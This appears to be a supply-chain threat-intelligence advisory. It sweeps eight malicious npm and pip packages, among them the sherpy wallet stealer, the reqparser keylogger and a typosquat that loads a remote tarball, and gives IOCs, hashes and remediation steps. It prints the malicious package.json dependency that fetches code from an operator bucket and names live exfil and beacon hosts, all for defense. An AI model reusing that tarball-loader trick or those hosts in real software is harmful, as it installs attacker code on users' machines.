Feed
HighAdvisory sweepPublished 26 Sept 20268 packages · 11 versions

GitHub Advisory malware sweep - 2026-09-25 (late) + 2026-09-26 (pip `sherpy` Chrome-wallet + Telegram infostealer; pip `reqparser` crypto-wallet + browser + keylogger + persistence loader; pip `tego-managed-agents-test` `setup.py` env-var exfil; npm `@airbnb-extended/typescript-config` `@airbnb`-typosquat with external `ltidi.storage.googleapis.com` tarball loader; npm `shoplist-app` + `@digift/cli` dep-confusion / Pipedream beacon probes; npm `@nubjs/types` + `app-sca-info-banking` CWE-506 boilerplate takedowns. No fresh `oob.algamil7x.xyz` day-8 additions caught in the window)

Summary

GHSA 2026-09-25 (late) + 2026-09-26: ~8 new advisories - 4 pip + 4 npm not caught by yesterdays sweep. Worst confirmed items are pip sherpy (Chrome-extension crypto-wallet + Telegram infostealer) and pip reqparser (crypto-wallet + browser + keylogger + persistence). npm @airbnb-extended/typescript-config typosquats @airbnb/typescript-config and pulls an external tarball from a Google Cloud Storage bucket. No fresh algamil7x` day-8 entries appeared in the window.

infostealercredential-theftcrypto-wallet-draintyposquatdependency-confusionobfuscationci-cd-compromise
Incident type
Advisory sweep. A dated batch of GitHub Advisory Database malware entries collected together. A sweep mixes kinds - typosquats, dependency-confusion probes, boilerplate takedowns with no published analysis, and occasionally real payloads - and its severity reflects the worst confirmed item, not the batch as a whole.
Detected by
GitHub Advisory Database · OpenSSF malicious-packages · OpenSSF Package Analysis · Amazon Inspector · Safedep · kam193/bad-packages
Also known as
2026-09-26 GHSA npm+pip sweep · sherpy Chrome-wallet + Telegram pip infostealer · reqparser pip keylogger + persistence · tego-managed-agents-test setup.py env-var exfil · @airbnb-extended/typescript-config GCS tarball loader
Ecosystems
npmPyPI
Packages tracked
8

What happened

Between roughly 2026-09-25 12:00 UTC and 2026-09-26 12:00 UTC, the GitHub Advisory Database (plus the OpenSSF malicious-packages bulk export, Amazon Inspectors IN-MAL feed, and Safedeps compromised-package tracker) published 8 new malware advisories the 2026-09-25 sweep did not catch: 4 pip and 4 npm. Two of the pip entries (sherpy, reqparser) and one of the npm entries (@airbnb-extended/typescript-config) carry fully-analysed real payloads; the rest split between dep-confusion probes and CWE-506 boilerplate takedowns with no published analysis.

Cluster A - pip sherpy Chrome-extension wallet + Telegram infostealer

sherpy@0.1.0/0.1.1 (GHSA-74qh-6w69-w7vc, OpenSSF campaign 2026-09-sherpy). Real payload, confirmed by kam193 analysis:

  • Chrome extension local-storage read (apparent focus on cryptocurrency-wallet extensions - MetaMask, Phantom, Rabby, Backpack, Coinbase Wallet)
  • Telegram Desktop tdata directory exfil (the session key that identifies the account)
  • Native browser-extension abuse (reads extension state without prompting the user)

Unlike a boilerplate CWE-506 takedown, the advisory names the specific asset classes the malware targets. A wallet-extension read + Telegram session read is enough to (a) drain any hot wallet whose seed the extension stores unencrypted or via a weak passphrase, and (b) re-attach the victim`s Telegram session on an operator-controlled host, seeing every chat and every 2FA code delivered via SMS-fallback.

Cluster B - pip reqparser multi-purpose on-import stealer

reqparser@1.0.0/1.0.1 (GHSA-3gf2-53hg-f395, OpenSSF campaign 2026-09-reqparser). Fires on module import, not just on install. Advertised primitives:

  • Cryptocurrency wallet credential theft
  • Web browser data exfiltration
  • Keylogger installation
  • Persistence mechanisms for continued system access
  • Secondary malware installation capability
  • Sandbox-detection evasion

Hash 982923c14e644e82a839621d37715fd123568fc378aed45b6afa6247bc0b5054. The name is a plausible typosquat of flask-restfuls reqparse (which is spelt without the trailing r), so a developer typing quickly may reach for the public registry and land on this by mistake.

Cluster C - pip tego-managed-agents-test setup.py install-time env-var exfil

tego-managed-agents-test@0.1.0 (GHSA-hph5-88qq-frqw, MAL-2026-17183). Overrides setup.py install command; on install, iterates os.environ and POSTs the complete key/value dictionary to a remote endpoint. In CI that means:

Env-var classExample keysImpact of leak
Cloud credsAWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, GOOGLE_APPLICATION_CREDENTIALS, AZURE_*Full account takeover in the leaked cloud
CI tokenGITHUB_TOKEN, CI_JOB_TOKENRepo write access for the token TTL
Publish tokenNPM_TOKEN, PYPI_TOKEN, CARGO_REGISTRY_TOKENMalicious release under your name
DatabaseDATABASE_URL, MONGO_URLDirect DB read/write if the network path is open
SlackSLACK_WEBHOOK_URLImpersonation posts in your channels
SSHSSH_AUTH_SOCK-referenced key contentsDeploy access to any host that trusts the key

Hash b09488c67894dd74d043a240308c694f0e42464e3a4f371b8d5ebc8a6a589d7b. The -test suffix on the package name is the lure: it reads like an internal test build a developer would try to pip install from a private index and reach public PyPI by mistake.

Cluster D - npm @airbnb-extended/typescript-config typosquat with external tarball loader

@airbnb-extended/typescript-config@99.9.1 (GHSA-jc5g-qvp3-6hrx). Impersonates the legitimate @airbnb/typescript-config. The novel-for-this-corpus primitive is the remote tarball dependency in package.json:

"dependencies": {
  "ltidisafe": "https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.7.8.tgz"
}

When npm install sees an https-tarball dep, it fetches the URL, unpacks it, and runs any lifecycle scripts the fetched tarball declares. No integrity hash is pinned in the manifest, and the URL is a mutable object in a Google Cloud Storage bucket the operator controls - so the payload that reaches the victim can be swapped by the operator between snapshots. A defender who audits ltidisafe-3.7.8.tgz today gets no assurance about the version that landed on a build host yesterday.

Sentinel version 99.9.1 is the classic dep-confusion attention-getter (a semver higher than any real version, so npm resolves it preferentially when both the internal and public registries are configured). Amazon Inspector hash: 8424e4bf8731b950511535a2cb9b41b0bedba02092a73ea304b6730f04aa95fe.

This primitive - tarball URL dep to an operator bucket, mutable, no hash - is the interesting one to keep an eye on. It defeats registry-side signing checks (npm audit signatures only reports on packages resolved from the npm registry), it defeats --ignore-scripts if the tarball declares its lifecycle scripts under a different install profile, and it makes retroactive forensic review harder because the bucket contents at analysis time may not match what ran on the victim.

Cluster E - npm dep-confusion / Pipedream recon probes

shoplist-app@99.99.99/993.99.99 (GHSA-9gqc-gwvw-4228)

Sentinel-99 dep-confusion probe. Beacons os.hostname()+os.platform()+package identity to https://eo8f3m3ho26a0nm.m.pipedream.net/. Fires across every lifecycle hook (preinstall/install/postinstall/prepare/prepublish) AND on runtime import - very thorough, suggests an experienced operator or a security-team pentest. Amazon Inspector hash: fdceadb01f08162934382b121e813236b86adc0d4d74b7b2f062c78e529c34f6.

@digift/cli@99.99.100 (GHSA-2394-2grm-2336)

99.99.100 sentinel. OpenSSF Package Analysis flagged it as communicating with a malicious-associated domain, but the specific endpoint is not published in the advisory body. Amazon Inspector hash: 5508ba462afd4a4d6f311cca1a00d728ea27b8fe03a2fba93878a9fabbb7f309. Whether this is a genuine attack against a digift-branded internal build or a red-team probe, treat as recon.

Cluster F - npm CWE-506 boilerplate takedowns

@nubjs/types@0.9.4 (GHSA-7qx8-98q7-66p4)

CWE-506 boilerplate takedown. No IOC, no payload analysis - the standard "any computer that has this package installed or running should be considered fully compromised" language, which is legally cautious rather than descriptive. Version 0.9.4 is not a sentinel-99 - it reads like a normal pre-release, so the package is likely posing as a routine types package rather than a dep-confusion lure. Payload class: probe or install-hook stager whose payload was not captured before takedown.

app-sca-info-banking@0.0.24 (GHSA-wfg5-3jm7-5p8w, MAL-2026-17182)

OpenSSF Package Analysis flagged it as communicating with a malicious-associated domain; endpoint not disclosed. The app-sca-info-banking name is a banking-sector impersonator - the -sca piece reads like "Software Composition Analysis" or "Strong Customer Authentication", both terms that internal banking-tooling packages would plausibly use. Hash 3f5e6f43a1552d09c016e2db6c287a1972a70df70fa7a42d3049840d04580bd4. Treat as targeted at fintech / banking-tooling teams.

Operator continuity check

  • oob.algamil7x.xyz: no fresh day-8 advisories in the 2026-09-26 window. Combined with day-7s late-adds catalogued yesterday, this may be a pause, a zone rotation, or propagation delay. Do not remove the .xyz` egress block on a one-day quiet.
  • *`n8n-nodes- mkicom.com family (Cluster B in yesterdays sweep)**: no new packages. mkicom.com and 104.21.3.16 blocks remain durable.
  • simple-date-formatter-new-<N>: no -new-12, -new-16, or higher today. 124.221.154.135 block remains durable.

Three consecutive-day operators tracked yesterday all show a one-day pause in this window.

Registry state

All 8 packages in this sweep are npm/pip-quarantined at time of writing. No active operator-side infrastructure is unique to todays batch beyond ltidi.storage.googleapis.com (Cluster D) and eo8f3m3ho26a0nm.m.pipedream.net (Cluster E shoplist-app); the specific domain for @digift/cli, @nubjs/types, and app-sca-info-banking` is not disclosed and is not blockable at the network layer without the OSSF Package Analysis raw log.

Discovery credits

GitHub Advisory Database, OpenSSF malicious-packages, OpenSSF Package Analysis, Amazon Inspector, Safedep, kam193/bad-packages. Per-package IOC details drawn from GHSA and OpenSSF advisory bodies published between 2026-09-25 12:00 UTC and 2026-09-26 12:00 UTC.

Affected packages (8)

These are usually pulled in as transitive dependencies rather than installed directly. Check your whole tree at once - it runs in your browser and nothing is uploaded.

Impact

  • Cluster A - pip sherpy Chrome-extension crypto-wallet + Telegram infostealer (real payload): sherpy@0.1.0/0.1.1 (GHSA-74qh-6w69-w7vc, OSSF campaign 2026-09-sherpy). Package functions as an infostealer that harvests Chrome extension files (apparent focus on cryptocurrency-wallet browser extensions such as MetaMask, Phantom, and similar) and sensitive Telegram desktop application files, then exfiltrates. Not a probe or boilerplate takedown - the advisory explicitly names infostealer behaviour, crypto-wallet targeting, Telegram data exfil, and native browser-extension abuse. Any developer or CI runner that ran pip install sherpy in the 2026-09-26 window has had wallet-extension local storage read, and if Telegram Desktop is installed on the same host, the tdata directory (which stores the active session key) may have been read as well - which is enough to reproduce the victims Telegram session on an operator-controlled host. Analysis reference: bad-packages.kam193.eu/pypi/package/sherpy`
  • Cluster B - pip reqparser on-import multi-purpose stealer + keylogger + persistence loader (real payload): reqparser@1.0.0/1.0.1 (GHSA-3gf2-53hg-f395, OSSF campaign 2026-09-reqparser). On module import the package launches an infostealer that specifically: (i) steals cryptocurrency wallet credentials, (ii) exfiltrates web browser data, (iii) installs keylogging, (iv) installs persistence mechanisms for continued access, (v) is capable of downloading and running secondary malware, and (vi) attempts sandbox-detection evasion. Fires on import reqparser, not just on install - the "reqparser" name is a plausible typosquat of legitimate flask-restful-adjacent utility names, so an application that pulls reqparser transitively (or where a developer typo-imported it thinking of reqparse/parser/werkzeug) triggers the payload at process start. Hash 982923c14e644e82a839621d37715fd123568fc378aed45b6afa6247bc0b5054
  • Cluster C - pip tego-managed-agents-test setup.py install-time env-var exfil (real payload): tego-managed-agents-test@0.1.0 (GHSA-hph5-88qq-frqw, OSSF campaign 2026-09-tego-managed-agents-test, MAL-2026-17183). Overrides setup.py install to run at install time and exfiltrates the complete process environment (every os.environ key/value pair) to an operator-controlled remote endpoint. On CI runners that means AWS/GCP/Azure credentials, GitHub tokens (GITHUB_TOKEN, GITHUB_ACCESS_TOKEN), npm/PyPI publish tokens, database URLs, Slack webhook URLs, SSH deploy keys mounted as env vars, and anything else the CI job needed. Name is a lure: "tego-managed-agents" sounds like an internal-tooling package for a hosted-agents platform - the -test suffix suggests a developer trying to install an internal test build who reaches for the public registry first. Hash b09488c67894dd74d043a240308c694f0e42464e3a4f371b8d5ebc8a6a589d7b. Any CI job that ran pip install tego-managed-agents-test must have every visible env-var secret rotated
  • Cluster D - npm @airbnb-extended/typescript-config @airbnb typosquat with external Google Cloud Storage tarball loader (real payload): @airbnb-extended/typescript-config@99.9.1 (GHSA-jc5g-qvp3-6hrx). Impersonates the legitimate @airbnb/typescript-config package. The trick is not in the JS payload directly - it is in the package.json dependencies field, which pins ltidisafe to an external HTTPS tarball URL: https://ltidi.storage.googleapis.com/depenconf/ltidisafe-3.7.8.tgz. When npm install sees an https-tarball dep it fetches the URL, unpacks it, and runs whatever lifecycle scripts the fetched tarball declares - with no integrity hash verification because none is pinned in the manifest and no version pinning because the tarball URL is mutable. The Google Cloud Storage bucket is operator-controlled, so the tarball contents can be swapped at any time (a snapshot at time-of-review is a snapshot only). Sentinel version 99.9.1 is the classic dep-confusion attention-getter; the @airbnb-extended scope reads as an "extended" sub-brand of Airbnbs public tooling. Any project that has @airbnb-extended/typescript-config in a lockfile fetched arbitrary code from ltidi.storage.googleapis.com at install time. Amazon Inspector hash: 8424e4bf8731b950511535a2cb9b41b0bedba02092a73ea304b6730f04aa95fe`
  • Cluster E - npm dep-confusion / Pipedream reconnaissance probes: shoplist-app@99.99.99/993.99.99 (GHSA-9gqc-gwvw-4228) - two sentinel versions of the same name, install-lifecycle hooks (preinstall/install/postinstall/prepare/prepublish) plus runtime import/require all fire os.hostname()+os.platform()+package-identity to Pipedream collector https://eo8f3m3ho26a0nm.m.pipedream.net/. Amazon Inspector hash fdceadb01f08162934382b121e813236b86adc0d4d74b7b2f062c78e529c34f6. @digift/cli@99.99.100 (GHSA-2394-2grm-2336) - 99.99.100 sentinel dep-confusion probe; OpenSSF Package Analysis flagged it as communicating with a domain associated with malicious activity but the advisory body does not enumerate the specific collector. Amazon Inspector hash 5508ba462afd4a4d6f311cca1a00d728ea27b8fe03a2fba93878a9fabbb7f309. Both are probe-class: they beacon hostname/platform but do not exfil secrets or execute a stager - the value to the operator is a map of which internal environments have namespace collisions with shoplist-app / @digift/cli internally, so any hit is evidence that the operator is casing your build environment
  • Cluster F - npm CWE-506 boilerplate takedowns (no published analysis): @nubjs/types@0.9.4 (GHSA-7qx8-98q7-66p4) - CWE-506 boilerplate; advisory carries the standard "computer that has this package installed or running should be considered fully compromised" language but no IOC or payload analysis is published. Not a sentinel dep-confusion version - 0.9.4 reads like a normal pre-release. Given the boilerplate takedown pattern this is most likely a probe or an install-hook stager whose payload was not captured before the registry pulled the package. app-sca-info-banking@0.0.24 (GHSA-wfg5-3jm7-5p8w, MAL-2026-17182) - "banking" impersonator name typical of the finance-sector attention-getter theme; OpenSSF Package Analysis flagged it as communicating with a malicious-associated domain but did not disclose the specific endpoint. Hash 3f5e6f43a1552d09c016e2db6c287a1972a70df70fa7a42d3049840d04580bd4. Treat both as install-time compromise pending IOC publication
  • Operator continuity check - oob.algamil7x.xyz day-8 status (2026-09-25 -> 2026-09-26): no fresh algamil7x DNS-OOB advisories appeared in the 2026-09-25 late window or in the 2026-09-26 batch as of publication. Combined with the day-7 late-adds catalogued in yesterdays sweep (@nf-addons/am-global-header, @osl-design/react), the operator now shows either a genuine pause after the day-7 tail, a rotation to a different DNS zone that the corpus has not yet correlated, or day-8 propagation delay against the trackers. The .xyz egress block from prior days remains the durable mitigation - do not remove it based on a one-day quiet window. No new n8n-nodes-* mkicom.com variants, no fresh simple-date-formatter-new-<N> versions, and no new 124.221.154.135` SSH-key beacons appeared either - the three multi-day operators tracked yesterday all show a one-day pause in the 2026-09-26 window

What to do

  1. 1Grep every package-lock.json, yarn.lock, pnpm-lock.yaml, package.json, requirements.txt, Pipfile.lock, poetry.lock, and pyproject.toml for every package name in Clusters A through F. Uninstall on hit, wipe node_modules/.venv, delete the lockfile, rebuild against a clean cache. Clusters A, B, C, and D each contain confirmed real payloads (Chrome-wallet + Telegram infostealer, keylogger + persistence + wallet stealer, env-var exfil, and remote-tarball install-time RCE); a hit on any of those is a compromise, not a warning
  2. 2For Cluster A (pip sherpy Chrome-wallet + Telegram infostealer): uninstall on hit. On any host that ran pip install sherpy in the 2026-09-26 window, treat browser-extension local storage as read: rotate every seed phrase for every wallet extension present (MetaMask, Phantom, Rabby, Backpack, Coinbase Wallet, and any other extension you had installed), move any residual funds to a fresh wallet generated on a clean host, and revoke every dApp approval visible in each wallets Connected Sites list. If Telegram Desktop is installed on the same host, treat the current Telegram session as hijacked: log out of every active session from another device (Settings -> Devices -> Terminate all other sessions), rotate 2FA, and assume the last 24 hours of Telegram chats have been read. bad-packages.kam193.eu/pypi/package/sherpy` has the analysis
  3. 3For Cluster B (pip reqparser keylogger + persistence): uninstall on hit and image the host - the payload installs persistence and can pull secondary malware, so the disk artefact you see on cleanup is likely not the full picture. Rotate every credential the installer user account had access to (browser-saved passwords, wallet extensions, SSH keys, cloud CLI credentials, hardcoded env vars). Because the payload fires on import, not just on install, review recent commits for any file that imports reqparser and revert if the import was added by anyone other than a known human on your team. Add a lockfile-lint rule that rejects reqparser outright given the extreme name-collision risk with flask-restfuls reqparse module
  4. 4For Cluster C (pip tego-managed-agents-test env-var exfil): uninstall on hit. On any CI runner where the package ran, treat every environment variable the job had access to as leaked: rotate cloud credentials (AWS/GCP/Azure), GitHub GITHUB_TOKEN if not the ephemeral job token, any NPM_TOKEN/PYPI_TOKEN/CARGO_REGISTRY_TOKEN for the affected job, database URLs with embedded passwords, Slack incoming-webhook URLs, and any SSH deploy keys that were mounted as env vars. If your CI system leaks its per-job token to any command that runs during install (GitHub Actions GITHUB_TOKEN, GitLab CIs CI_JOB_TOKEN), the operator now holds a valid token scoped to that repo/job for the tokens TTL. Adopt pip install --no-deps` for any install of an unverified package and prefer scoping env vars to the specific step that needs them rather than the whole job
  5. 5For Cluster D (npm @airbnb-extended/typescript-config remote-tarball loader): uninstall on hit. Any project with @airbnb-extended/typescript-config@99.9.1 in a lockfile has fetched arbitrary code from ltidi.storage.googleapis.com at install time. Because the tarball URL was mutable and the operator controls the Google Cloud Storage bucket, the payload that ran on your host is not necessarily what a defender reviewing the tarball today would see. Rotate every credential accessible from the install account, look for a ~/.npm cache entry named ltidisafe*.tgz that might still hold the payload for forensics, and add a lockfile-lint or npm-audit-signatures-style rule that rejects any dependency whose resolved URL is not https://registry.npmjs.org/* (or your private registry) - the entire trick relies on the https://<bucket>.storage.googleapis.com/... tarball URL being tolerated in a manifest. Block ltidi.storage.googleapis.com at your egress. If your org publishes anything under a @airbnb-* scope internally, pin it in .npmrc to your private registry so the public @airbnb-extended cannot resolve preferentially
  6. 6For Cluster E (shoplist-app + @digift/cli dep-confusion probes): uninstall on hit. Recon-only (hostname/platform, no secret material), but the operator now has your build-environment map and can target follow-on attempts under related names. Block eo8f3m3ho26a0nm.m.pipedream.net at your network egress. If your org has an internal shoplist-app or @digift package with the same name, pin the internal version in .npmrc so the public sentinel cannot resolve preferentially. The sentinel-99 pattern (99.99.99/993.99.99/99.99.100) is common enough now that a lockfile-lint rule rejecting any dependency at a version above 99.0.0 catches this whole class of probe
  7. 7For Cluster F (@nubjs/types + app-sca-info-banking CWE-506 boilerplate): uninstall on hit. Payload not disclosed - treat as install-time compromise until you can inspect the tarball yourself. Rotate any credential accessible from the install account. For app-sca-info-banking specifically, the name is a banking-sector impersonator - if your team works on internal banking or fintech tooling, treat any lockfile hit as evidence of targeting rather than a random opportunistic probe
  8. 8For every npm install in CI, prefer --ignore-scripts and enforce it at the runner level, and for every pip install, prefer resolving from a curated internal mirror rather than PyPI directly. Layer with egress denylists on eo8f3m3ho26a0nm.m.pipedream.net (Cluster E) and ltidi.storage.googleapis.com (Cluster D). Extend the pin-lists from prior sweeps with sherpy, reqparser, tego-managed-agents-test (all pip), @airbnb-extended/typescript-config, shoplist-app, @digift/cli, @nubjs/types, and app-sca-info-banking (all npm). Keep the oob.algamil7x.xyz, mkicom.com, 124.221.154.135, and pdxkwzizhzzdpzpgcieqk6d1v7ynqsgfo.oast.fun blocks from prior days in place - the operators are quiet in the 2026-09-26 window but the blocks are durable

References

multi-2026-09-26-ghsa-malware-sweep